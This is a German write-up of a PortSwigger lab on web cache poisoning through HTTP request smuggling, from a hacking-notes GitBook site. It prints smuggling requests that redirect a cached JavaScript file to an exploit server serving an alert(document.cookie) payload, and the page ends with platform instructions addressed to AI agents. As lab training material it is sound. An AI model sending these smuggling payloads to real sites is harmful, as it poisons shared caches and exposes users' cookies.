> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/request-smuggling/web-cache-poisoning-via-http-request-smuggling.md).

# Web-Cache-Poisoning über HTTP-Request-Smuggling

Notizen zu Web-Cache-Poisoning über HTTP-Request-Smuggling für Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungs-Workflow, Payload-Tests, Burp-Suite-Validierung und Behebungskontext.

### HTTP-Request-Smuggling ausnutzen, um Web-Cache-Poisoning durchzuführen

Das Frontend und das Backend behandeln HTTP-Anfragen unterschiedlich. / Das Frontend **unterstützt kein Chunked Encoding** und einige Antworten werden **zwischengespeichert**.

Das Ziel ist es, einen Angriff durchzuführen **Request Smuggling** der es ermöglicht, den Cache zu vergiften\*\*: Bei einer nachfolgenden Anfrage an eine JavaScript-Datei sollte das Opfer auf den Exploit-Server umgeleitet werden, der ein Skript zurückgibt, das anzeigt `document.cookie`.

Das Lab simuliert automatisch einen Opfernutzer: Bei all den wenigen POST-Anfragen, die wir senden, stellt das Opfer seine eigene Anfrage.

#### Payload auf dem Server

Wir bereiten die bösartige JavaScript-Antwort vor:

```javascript
HTTP/1.1 200 OK
Content-Type: text/javascript; charset=utf-8


alert(document.cookie);
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0ade7f54c0ba51cab7a19628a7cc12e2fb605309%2F%7B688B2736-C0F5-48E8-BB9B-1A9FA1348AF4%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Informationen zur Datei tracking.js

Es wird beobachtet, dass die Ressource für 30 Sekunden verborgen ist\*\*

```javascript
Cache-Control: max-age=30
Age: 9
X-Cache: hit
Content-Length: 70

document.write('<img src="/resources/images/tracker.gif?page=post">');
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7cb9227d4292db375cc57c103c528e04f4ad5d36%2F%7BE0D1C846-9B3F-41B4-86C5-64492B192A04%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Analyse des Verhaltens der Schaltfläche Post-next

* Das `postId` Parameter bleibt gleich.
* Durch Klicken leitet die Anwendung zum nächsten Beitrag um.

Beispiel einer Anfrage, die diese Weiterleitung auslöst:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a83c168f0727c6632564a7028c91db724b56eaea%2Fimage%20(326).png?alt=media" alt=""><figcaption></figcaption></figure>

```http
POST / HTTP/1.1
Host: 0a5800f903d062e780880dfb00620034.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Test: A
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-69ff1eb3b37df22c7c9f77af583b022a20cb5d27%2F%7BD0417941-AAAC-4DB7-ADEE-8672C4CC1334%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Test: Injizieren eines beliebigen Host-Headers

Durch Ersetzen des Hosts der internen Anfrage:

```http
POST / HTTP/1.1
Host: 0a5800f903d062e780880dfb00620034.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 88
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: google.com
Content-Length: 11

test=test
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-af4530770bece773cef79e784e97130b3ea26139%2F%7B9374C948-EB94-42D9-926D-8C408050753D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-65783151f4e83228b1bb0e5b7613006ef36c6d80%2F%7B36D31FF1-CF50-4E40-8F5D-E481E16E0F0E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Endgültige Payload, um zu unserem Exploit-Server umzuleiten

Eine interne GET-Anfrage, die unseren kontrollierten **Host** wird injiziert:

```http
POST / HTTP/1.1
Host: 0a5800f903d062e780880dfb00620034.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 137
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: exploit-0a94005103f762a980690cd701e3004c.exploit-server.net
Content-Length: 20

test=test
```

Sobald das Opfer die zwischengespeicherte JavaScript-Ressource lädt, gibt der Cache **für 30 Sekunden** unsere modifizierte Antwort zurück und löst Folgendes aus:

```javascript
alert(document.cookie)
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-41ab73925af1dbb7f23c9e75112cd87adc86598c%2F%7B860571D4-0B89-4DEC-B5B0-311E0187CFE7%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2306ee05f8c6f9a6b685dff72cc726a2865d2481%2F%7B540403E5-0DAB-4B4B-87F9-9466F806A10A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/web/request-smuggling/web-cache-poisoning-via-http-request-smuggling.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
